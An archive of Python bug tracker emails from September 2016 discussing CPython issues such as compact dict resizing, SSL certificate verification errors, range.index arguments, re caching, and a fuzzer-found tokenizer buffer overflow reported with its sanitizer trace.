Message-ID: <1474218957.11.0.361080986893.issue28183@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

> Raymond: With such implementation keys, values and hashes are all
> organized together and there seems no _resize operation can only 
> adjust hashes without breaking the entire layout.

None of those needs to change during a resize.  Only indices array needs to be rebuilt.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Sun Sep 18 13:17:29 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 18 Sep 2016 17:17:29 +0000
Subject: [issue25400] robotparser doesn't return crawl delay for default entry
In-Reply-To: <1444785702.73.0.849541373226.issue25400@psf.upfronthosting.co.za>
Message-ID: <20160918171726.2817.96729.EC0EB2C1@psf.io>


Roundup Robot added the comment:

New changeset d5d910cfd288 by Berker Peksag in branch '3.6':
Issue #25400: RobotFileParser now correctly returns default values for crawl_delay and request_rate
https://hg.python.org/cpython/rev/d5d910cfd288

New changeset 911070065e38 by Berker Peksag in branch 'default':
Issue #25400: Merge from 3.6
https://hg.python.org/cpython/rev/911070065e38

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25400>
_______________________________________

From report at bugs.python.org  Sun Sep 18 13:18:17 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sun, 18 Sep 2016 17:18:17 +0000
Subject: [issue25400] robotparser doesn't return crawl delay for default entry
In-Reply-To: <1444785702.73.0.849541373226.issue25400@psf.upfronthosting.co.za>
Message-ID: <1474219097.96.0.321697126711.issue25400@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25400>
_______________________________________

From report at bugs.python.org  Sun Sep 18 13:44:35 2016
From: report at bugs.python.org (INADA Naoki)
Date: Sun, 18 Sep 2016 17:44:35 +0000
Subject: [issue28147] Unbounded memory growth resizing split-table dicts
In-Reply-To: <1473853453.13.0.556951743271.issue28147@psf.upfronthosting.co.za>
Message-ID: <1474220675.11.0.359524057833.issue28147@psf.upfronthosting.co.za>


INADA Naoki added the comment:

xiang:
dictresize(d, n) may choose keysize==n (when n == 2**m) with this patch.

If there are any integer a such as ESTIMATE_SIZE(a) == n and n == 2**m and USABLE_FRACTION(n) == a - 1,
a items cannot be inserted into dict after dictresize(d, ESTIMATE_SIZE(a))

This is why ESTIMATE_SIZE should round up fraction.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28147>
_______________________________________

From report at bugs.python.org  Sun Sep 18 13:45:35 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 18 Sep 2016 17:45:35 +0000
Subject: [issue28183] Clean up and speed up dict iteration
In-Reply-To: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>
Message-ID: <1474220735.3.0.637591478156.issue28183@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
assignee:  -> serhiy.storchaka
versions:  -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Sun Sep 18 14:00:56 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 18 Sep 2016 18:00:56 +0000
Subject: [issue28183] Clean up and speed up dict iteration
In-Reply-To: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>
Message-ID: <1474221656.65.0.903916025608.issue28183@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

We can still clean this up for Python 3.6.  We're in feature freeze, not development freeze.  The compact dict patch was very rough when it landed and is expected to continue to be polished so that the expected benefits are realized.

----------
versions: +Python 3.6 -Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Sun Sep 18 14:37:21 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 18 Sep 2016 18:37:21 +0000
Subject: [issue28183] Clean up and speed up dict iteration
In-Reply-To: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>
Message-ID: <1474223841.01.0.399881737174.issue28183@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Actually most of optimization is not specific for new dict implementation.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Sun Sep 18 15:09:19 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 18 Sep 2016 19:09:19 +0000
Subject: [issue28182] Expose OpenSSL verification results in SSLError
In-Reply-To: <1474038403.65.0.643451535386.issue28182@psf.upfronthosting.co.za>
Message-ID: <1474225759.35.0.409264417671.issue28182@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Good work! I completely forgot that the SSL object holds the last verification error in its struct. This allows the ssl module to print some information when cert verification fails. It's still not perfect, because it is missing information about the the failing certificate. It's much better than no reason at all.

I took your patch and simplified it a bit. I removed the sub reason attribute, too. We can add it later and use an enum.IntEnum instead of the old hack.

ssl.SSLCertVerificationError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate (_ssl.c:766)

----------
Added file: http://bugs.python.org/file44742/ssl_certverifyerror.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28182>
_______________________________________

From report at bugs.python.org  Sun Sep 18 15:24:58 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 18 Sep 2016 19:24:58 +0000
Subject: [issue27806] 2.7 32-bit builds fail on macOS 10.12 Sierra due to
 dependency on deleted header file QuickTime/QuickTime.h
In-Reply-To: <1471643899.93.0.569141042934.issue27806@psf.upfronthosting.co.za>
Message-ID: <20160918192455.17501.78245.7B79B21E@psf.io>


Roundup Robot added the comment:

New changeset a8771f230c06 by Ned Deily in branch '2.7':
Issue #27806: add Aleks to Misc/ACKS.
https://hg.python.org/cpython/rev/a8771f230c06

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27806>
_______________________________________

From report at bugs.python.org  Sun Sep 18 15:42:41 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Sun, 18 Sep 2016 19:42:41 +0000
Subject: [issue28182] Expose OpenSSL verification results in SSLError
In-Reply-To: <1474038403.65.0.643451535386.issue28182@psf.upfronthosting.co.za>
Message-ID: <1474227761.15.0.65864166545.issue28182@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

That looks much better. I should have create a subclass of SSLError.

Here's a minor concern: fill_and_set_sslerror adds a new argument for verification errors. If someone else wants to support more errors, this function would have more arguments, which sounds bad for me - or we can postpone discussions until there's really such a need?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28182>
_______________________________________

From report at bugs.python.org  Sun Sep 18 16:16:31 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 18 Sep 2016 20:16:31 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <20160918201628.100548.14220.0444E91E@psf.io>


Roundup Robot added the comment:

New changeset b56290a80ff7 by Ethan Furman in branch '3.6':
issue23591: fix flag decomposition and repr
https://hg.python.org/cpython/rev/b56290a80ff7

New changeset 7372c042e9a1 by Ethan Furman in branch 'default':
issue23591: fix flag decomposition and repr
https://hg.python.org/cpython/rev/7372c042e9a1

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Sun Sep 18 16:50:32 2016
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Sun, 18 Sep 2016 20:50:32 +0000
Subject: [issue28197] range.index mismatch with documentation
Message-ID: <1474231832.91.0.157673750963.issue28197@psf.upfronthosting.co.za>


New submission from Vedran ?a?i?:

Look at this:

    >>> from collections.abc import Sequence

    >>> help(Sequence.index)
    index(self, value, start=0, stop=None)
        S.index(value, [start, [stop]]) -> integer -- return first index of value.
        Raises ValueError if the value is not present.

    >>> issubclass(range, Sequence)
    True

    >>> help(range.index)
    index(...)
        rangeobject.index(value, [start, [stop]]) -> integer -- return index of value.
        Raise ValueError if the value is not present.

So far, so good. But:

    >>> range(9).index(2, 1, 5)
    TypeError: index() takes exactly one argument (3 given)

Of course it's not essential, but the docs shouldn't lie. And if range _is_ a Sequence, then it should have the complete interface of a Sequence. Including start and end arguments for .index: they are optional from the point of call, not from the point of implementation. :-)

----------
assignee: docs at python
components: Documentation, Library (Lib)
messages: 276908
nosy: docs at python, veky
priority: normal
severity: normal
status: open
title: range.index mismatch with documentation
type: behavior
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28197>
_______________________________________

From report at bugs.python.org  Sun Sep 18 16:51:28 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sun, 18 Sep 2016 20:51:28 +0000
Subject: [issue28151] testPythonOrg() of test_robotparser fails on validating
 python.org HTTPS certificate
In-Reply-To: <1474196926.07.0.077407202407.issue28151@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwYxmzVNv7PLUDdi5WWnxRYLhaTEbfsw6+F0BHZ=_0VuZw@mail.gmail.com>


STINNER Victor added the comment:

Thank you Berker! I'm quite sure that the issue is very old, like 1 year
old or more. And this fix is welcomed!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28151>
_______________________________________

From report at bugs.python.org  Sun Sep 18 16:53:22 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sun, 18 Sep 2016 20:53:22 +0000
Subject: [issue27961] remove support for platforms without "long long"
In-Reply-To: <1474196971.5.0.679566849359.issue27961@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwYwOXETKtgc9+e=7XLPpQpjcQAa5AmqEOUHg==R=__-EA@mail.gmail.com>


STINNER Victor added the comment:

It seems fair to keep the define for backwrad compatibility.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27961>
_______________________________________

From report at bugs.python.org  Sun Sep 18 16:55:18 2016
From: report at bugs.python.org (SilentGhost)
Date: Sun, 18 Sep 2016 20:55:18 +0000
Subject: [issue28197] range.index mismatch with documentation
In-Reply-To: <1474231832.91.0.157673750963.issue28197@psf.upfronthosting.co.za>
Message-ID: <1474232118.28.0.152238290967.issue28197@psf.upfronthosting.co.za>


Changes by SilentGhost <ghost.adh at runbox.com>:


----------
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28197>
_______________________________________

From report at bugs.python.org  Sun Sep 18 16:55:58 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 18 Sep 2016 20:55:58 +0000
Subject: [issue28193] Consider using lru_cache for the re.py caches
In-Reply-To: <1474142764.79.0.545149885627.issue28193@psf.upfronthosting.co.za>
Message-ID: <1474232158.68.0.817904048407.issue28193@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

lru_cache can be used for re._compile() if add the ability to bypass the cache and to validate cached value.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28193>
_______________________________________

From report at bugs.python.org  Sun Sep 18 17:03:48 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 18 Sep 2016 21:03:48 +0000
Subject: [issue28197] range.index mismatch with documentation
In-Reply-To: <1474231832.91.0.157673750963.issue28197@psf.upfronthosting.co.za>
Message-ID: <1474232628.55.0.275328665748.issue28197@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Parameters start and stop were added to the Sequence.index() mixin method in issue23086. These broke some concrete Sequence implementations.

----------
nosy: +Devin Jeanpierre, rhettinger, serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28197>
_______________________________________

From report at bugs.python.org  Sun Sep 18 17:07:48 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 18 Sep 2016 21:07:48 +0000
Subject: [issue28193] Consider using lru_cache for the re.py caches
In-Reply-To: <1474142764.79.0.545149885627.issue28193@psf.upfronthosting.co.za>
Message-ID: <1474232868.04.0.779898325864.issue28193@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

Yes, I saw that.  If a function could raise a NoCache exception,  re._compile() could take advantage of it.  But I don't feel good about going down that path (adding coupling between the caching decorator and the cached function).  It would be better to keep the lru_cache API simple.  I already made the mistake of expanding the API for typed=True just to accommodate a single use case (re.compile).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28193>
_______________________________________

From report at bugs.python.org  Sun Sep 18 17:08:24 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 18 Sep 2016 21:08:24 +0000
Subject: [issue28182] Expose OpenSSL verification results in SSLError
In-Reply-To: <1474038403.65.0.643451535386.issue28182@psf.upfronthosting.co.za>
Message-ID: <1474232904.38.0.409147020738.issue28182@psf.upfronthosting.co.za>


Christian Heimes added the comment:

You don't have to be concerned about additional arguments. fill_and_set_sslerror() is an internal helper function. In fact it's a helper function for two other helper functions. Let's postpone the discussion until the argument sizes grows out of proportion.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28182>
_______________________________________

From report at bugs.python.org  Sun Sep 18 17:14:27 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 18 Sep 2016 21:14:27 +0000
Subject: [issue28183] Clean up and speed up dict iteration
In-Reply-To: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>
Message-ID: <1474233267.13.0.0813817493389.issue28183@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

Here is a rough (very rough and not compileable) sketch of the direction that resizing should take:

static void
insert_indices_clean(PyDictObject *mp, Py_hash_t hash)
{
    size_t i, perturb;
    PyDictKeysObject *k = mp->ma_keys;
    size_t mask = (size_t)DK_SIZE(k)-1;

    i = hash & mask;
    for (perturb = hash; dk_get_index(k, i) != DKIX_EMPTY;
         perturb >>= PERTURB_SHIFT) {
	i = mask & ((i << 2) + i + perturb + 1);
    }
    dk_set_index(k, i, k->dk_nentries);
}

static int
dictresize(PyDictObject *mp, Py_ssize_t minused)
{
    Py_ssize_t i, newsize;
    PyDictKeyEntry *ep0;

    /* Find the smallest table size > minused. */
    for (newsize = PyDict_MINSIZE;
         newsize <= minused && newsize > 0;
         newsize <<= 1)
        ;
    if (newsize <= 0) {
        PyErr_NoMemory();
        return -1;
    }

    realloc(dk->dk_indicies, es * newsize);
    memset(&dk->dk_indices.as_1[0], 0xff, es * size);
    dk->dk_size = size;

    for (i = 0; i < mp->dk_nentries; i++) {
        PyDictKeyEntry *ep = &ep0[i];
        if (ep->me_value != NULL) {
            insert_indices_clean(mp, ep->me_hash);
        }
    }
    return 0;
}

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Sun Sep 18 17:22:56 2016
From: report at bugs.python.org (Robert Jordens)
Date: Sun, 18 Sep 2016 21:22:56 +0000
Subject: [issue27929] asyncio.AbstractEventLoop.sock_connect broken for
 AF_BLUETOOTH
In-Reply-To: <1472738395.77.0.643111482192.issue27929@psf.upfronthosting.co.za>
Message-ID: <1474233776.36.0.745585218554.issue27929@psf.upfronthosting.co.za>


Robert Jordens added the comment:

It is still in cpython master e6e9ddd.

import asyncio
import socket
sock = socket.socket(family=socket.AF_BLUETOOTH,
                     type=socket.SOCK_STREAM,
                     proto=socket.BTPROTO_RFCOMM)
sock.setblocking(False)
addr = "00:12:34:56:78:99"
loop = asyncio.get_event_loop()
loop.run_until_complete(loop.sock_connect(sock, (addr, 1)))

Traceback (most recent call last):
  File "/home/rj/work/hxm/t.py", line 9, in <module>
    loop.run_until_complete(loop.sock_connect(sock, (addr, 1)))
  File "/home/rj/src/cpython/Lib/asyncio/base_events.py", line 457, in run_until_complete
    return future.result()
  File "/home/rj/src/cpython/Lib/asyncio/futures.py", line 292, in result
    raise self._exception
  File "/home/rj/src/cpython/Lib/asyncio/tasks.py", line 241, in _step
    result = coro.throw(exc)
  File "/home/rj/src/cpython/Lib/asyncio/selector_events.py", line 416, in sock_connect
    yield from resolved
  File "/home/rj/src/cpython/Lib/asyncio/futures.py", line 379, in __iter__
    yield self  # This tells Task to wait for completion.
  File "/home/rj/src/cpython/Lib/asyncio/tasks.py", line 297, in _wakeup
    future.result()
  File "/home/rj/src/cpython/Lib/asyncio/futures.py", line 292, in result
    raise self._exception
  File "/home/rj/src/cpython/Lib/concurrent/futures/thread.py", line 55, in run
    result = self.fn(*self.args, **self.kwargs)
  File "/home/rj/src/cpython/Lib/socket.py", line 743, in getaddrinfo
    for res in _socket.getaddrinfo(host, port, family, type, proto, flags):
socket.gaierror: [Errno -6] ai_family not supported

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27929>
_______________________________________

From report at bugs.python.org  Sun Sep 18 17:23:34 2016
From: report at bugs.python.org (geeknik)
Date: Sun, 18 Sep 2016 21:23:34 +0000
Subject: [issue28198] heap-buffer-overflow in tok_nextc
 (Parser/tokenizer.c:954)
Message-ID: <1474233814.58.0.973615167605.issue28198@psf.upfronthosting.co.za>


New submission from geeknik:

As per the security team, I'm submitting this here as it doesn't appear exploitable.

Fuzzing Python 2.7.12 with AFL, ASAN and libdislocator.so on Debian 8.5 x64. (This might also affect Python 3.5) The attached 1-byte testcase triggers a heap-buffer-overflow: ~/python/Parser/tokenizer.c:954:28 in tok_nextc:

==9855==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6250000028ff at pc 0x00000050fd06 bp 0x7ffdbb810a30 sp 0x7ffdbb810a28
READ of size 1 at 0x6250000028ff thread T0
    #0 0x50fd05 in tok_nextc /root/python/Parser/tokenizer.c:954:28
    #1 0x505c49 in tok_get /root/python/Parser/tokenizer.c:1232:17
    #2 0x505c49 in PyTokenizer_Get /root/python/Parser/tokenizer.c:1681
    #3 0x5012b4 in parsetok /root/python/Parser/parsetok.c:159:16
    #4 0x502e7f in PyParser_ParseFileFlagsEx /root/python/Parser/parsetok.c:106:12
    #5 0x7fe4a9 in PyParser_ASTFromFile /root/python/Python/pythonrun.c:1499:15
    #6 0x7fe887 in PyRun_FileExFlags /root/python/Python/pythonrun.c:1354:11
    #7 0x7fd3fc in PyRun_SimpleFileExFlags /root/python/Python/pythonrun.c:948:13
    #8 0x7fc36b in PyRun_AnyFileExFlags /root/python/Python/pythonrun.c:752:16
    #9 0x4fe9c4 in Py_Main /root/python/Modules/main.c:640:23
    #10 0x7fb6e24b282f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291
    #11 0x42a898 in _start (/root/python/python+0x42a898)

0x6250000028ff is located 1 bytes to the left of 8192-byte region [0x625000002900,0x625000004900)
allocated by thread T0 here:
    #0 0x4ca9c8 in malloc (/root/python/python+0x4ca9c8)
    #1 0x504ed5 in PyTokenizer_FromFile /root/python/Parser/tokenizer.c:759:29

SUMMARY: AddressSanitizer: heap-buffer-overflow /root/python/Parser/tokenizer.c:954:28 in tok_nextc
Shadow bytes around the buggy address:
  0x0c4a7fff84c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff84d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff84e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff84f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff8500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c4a7fff8510: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa[fa]
  0x0c4a7fff8520: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff8530: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff8540: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff8550: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff8560: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==9855==ABORTING

----------
components: Interpreter Core
files: test00.gz
messages: 276917
nosy: geeknik
priority: normal
severity: normal
status: open
title: heap-buffer-overflow in tok_nextc (Parser/tokenizer.c:954)
type: crash
versions: Python 2.7, Python 3.5
Added file: http://bugs.python.org/file44743/test00.gz

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28198>
_______________________________________

From report at bugs.python.org  Sun Sep 18 17:27:24 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 18 Sep 2016 21:27:24 +0000
Subject: [issue28193] Consider using lru_cache for the re.py caches
In-Reply-To: <1474142764.79.0.545149885627.issue28193@psf.upfronthosting.co.za>
Message-ID: <1474234044.86.0.71243419751.issue28193@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Yes, raising an exception with a result as a payload is one option. Other option is to check a result. Something like:

def _compile_is_valid(value):
    p, loc = value
    return loc is None or loc == _locale.setlocale(_locale.LC_CTYPE)

def _compile_cache_if(value):
    p, loc = value
    return loc is not False

@lru_cache(_MAXCACHE, is_valid=_compile_is_valid, cache_if=_compile_cache_if)
def _compile1(pattern, flags):
    # internal: compile pattern
    if isinstance(pattern, _pattern_type):
        if flags:
            raise ValueError(
                "cannot process flags argument with a compiled pattern")
        return pattern, False
    if not sre_compile.isstring(pattern):
        raise TypeError("first argument must be string or compiled pattern")
    p = sre_compile.compile(pattern, flags)
    if flags & DEBUG:
        return p, False
    if not (p.flags & LOCALE):
        return p, None
    if not _locale:
        return p, False
    return p, _locale.setlocale(_locale.LC_CTYPE)

def _compile(pattern, flags):
    p, loc = _compile1(pattern, flags)
    return p

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28193>
_______________________________________

From report at bugs.python.org  Sun Sep 18 17:29:45 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 18 Sep 2016 21:29:45 +0000
Subject: [issue28183] Clean up and speed up dict iteration
In-Reply-To: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>
Message-ID: <1474234185.12.0.168930077736.issue28183@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Raymond, I think this is different issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Sun Sep 18 18:08:05 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 18 Sep 2016 22:08:05 +0000
Subject: [issue28198] heap-buffer-overflow in tok_nextc
 (Parser/tokenizer.c:954)
In-Reply-To: <1474233814.58.0.973615167605.issue28198@psf.upfronthosting.co.za>
Message-ID: <1474236485.25.0.278098136968.issue28198@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28198>
_______________________________________

From report at bugs.python.org  Sun Sep 18 18:13:35 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 18 Sep 2016 22:13:35 +0000
Subject: [issue28195] test_huntrleaks_fd_leak fails on Windows
In-Reply-To: <1474196596.93.0.564677505496.issue28195@psf.upfronthosting.co.za>
Message-ID: <20160918221332.100670.19764.1149A5B4@psf.io>


Roundup Robot added the comment:

New changeset 91285b24f1c2 by Victor Stinner in branch '3.6':
Fix test_huntrleaks_fd_leak() of test_regrtest
https://hg.python.org/cpython/rev/91285b24f1c2

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28195>
_______________________________________

From report at bugs.python.org  Sun Sep 18 18:13:49 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 18 Sep 2016 22:13:49 +0000
Subject: [issue28199] Compact dict resizing is doing too much work
Message-ID: <1474236829.43.0.744002065698.issue28199@psf.upfronthosting.co.za>


New submission from Raymond Hettinger:

The dictresize() method unnecessarily copies the keys, values, and hashes as well as making insertions in the index table.   Only the latter step is necessary or desirable.

Here in the pure Python code for resizing taking from the original proof-of-concept code at https://code.activestate.com/recipes/578375

    def _resize(self, n):
        '''Reindex the existing hash/key/value entries.
           Entries do not get moved, they only get new indices.
           No calls are made to hash() or __eq__().

        '''
        n = 2 ** n.bit_length()                     # round-up to power-of-two
        self.indices = self._make_index(n)
        for index, hashvalue in enumerate(self.hashlist):
            for i in Dict._gen_probes(hashvalue, n-1):
                if self.indices[i] == FREE:
                    break
            self.indices[i] = index
        self.filled = self.used

And here is a rough sketch of what it would look like in the C code (very rough, not yet compileable):

static void
insert_indices_clean(PyDictObject *mp, Py_hash_t hash)
{
    size_t i, perturb;
    PyDictKeysObject *k = mp->ma_keys;
    size_t mask = (size_t)DK_SIZE(k)-1;

    i = hash & mask;
    for (perturb = hash; dk_get_index(k, i) != DKIX_EMPTY;
         perturb >>= PERTURB_SHIFT) {
	i = mask & ((i << 2) + i + perturb + 1);
    }
    dk_set_index(k, i, k->dk_nentries);
}

static int
dictresize(PyDictObject *mp, Py_ssize_t minused)
{
    Py_ssize_t i, newsize;
    PyDictKeyEntry *ep0;

    /* Find the smallest table size > minused. */
    for (newsize = PyDict_MINSIZE;
         newsize <= minused && newsize > 0;
         newsize <<= 1)
        ;
    if (newsize <= 0) {
        PyErr_NoMemory();
        return -1;
    }

    /* Resize and zero-out the indices array */
    realloc(dk->dk_indices, es * newsize);
    memset(&dk->dk_indices.as_1[0], 0xff, es * size);
    dk->dk_size = size;

    /* Loop over hashes, skipping NULLs, inserting new indices */
    for (i = 0; i < mp->dk_nentries; i++) {
        PyDictKeyEntry *ep = &ep0[i];
        if (ep->me_value != NULL) {
            insert_indices_clean(mp, ep->me_hash);
        }
    }
    return 0;
}

----------
components: Interpreter Core
messages: 276921
nosy: methane, rhettinger, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Compact dict resizing is doing too much work
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28199>
_______________________________________

From report at bugs.python.org  Sun Sep 18 18:15:03 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 18 Sep 2016 22:15:03 +0000
Subject: [issue28183] Clean up and speed up dict iteration
In-Reply-To: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>
Message-ID: <1474236903.32.0.774985820892.issue28183@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

Moved dictresize() discussion to http://bugs.python.org/issue28199

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Sun Sep 18 18:20:30 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sun, 18 Sep 2016 22:20:30 +0000
Subject: [issue28195] test_huntrleaks_fd_leak fails on Windows
In-Reply-To: <1474196596.93.0.564677505496.issue28195@psf.upfronthosting.co.za>
Message-ID: <1474237230.53.0.184485096518.issue28195@psf.upfronthosting.co.za>


STINNER Victor added the comment:

I modified the test_regrtest unit test because the test is too fragile, it expects a line on a specific line number.

But there is still a real memory leak detected by this unit test.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28195>
_______________________________________

From report at bugs.python.org  Sun Sep 18 18:56:38 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sun, 18 Sep 2016 22:56:38 +0000
Subject: [issue28200] Windows: path_converter() leaks memory for Unicode
 filenames
Message-ID: <1474239398.07.0.0972680059215.issue28200@psf.upfronthosting.co.za>


New submission from STINNER Victor:

Memory leak spotted by the issue #28195: path_converter() calls PyUnicode_AsWideCharString() which allocates a new buffer at each call, but this buffer is never released.

On Python 3.5, PyUnicode_AsWideCharString() was used which handles internally the memory buffer and so release the memory later.

Attached patch fixes the regression introduced in Python 3.6 beta 1 by the change e20c7d8a8187 ("Issue #27781: Change file system encoding on Windows to UTF-8 (PEP 529)").

----------
files: path_converter.patch
keywords: patch
messages: 276924
nosy: haypo, steve.dower
priority: normal
severity: normal
status: open
title: Windows: path_converter() leaks memory for Unicode filenames
versions: Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44744/path_converter.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28200>
_______________________________________

From report at bugs.python.org  Sun Sep 18 18:56:57 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sun, 18 Sep 2016 22:56:57 +0000
Subject: [issue28195] test_huntrleaks_fd_leak fails on Windows
In-Reply-To: <1474196596.93.0.564677505496.issue28195@psf.upfronthosting.co.za>
Message-ID: <1474239417.67.0.467729471663.issue28195@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Ah, I found a leak: see issue #28200.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28195>
_______________________________________

From report at bugs.python.org  Sun Sep 18 18:58:24 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sun, 18 Sep 2016 22:58:24 +0000
Subject: [issue28200] Windows: path_converter() leaks memory for Unicode
 filenames
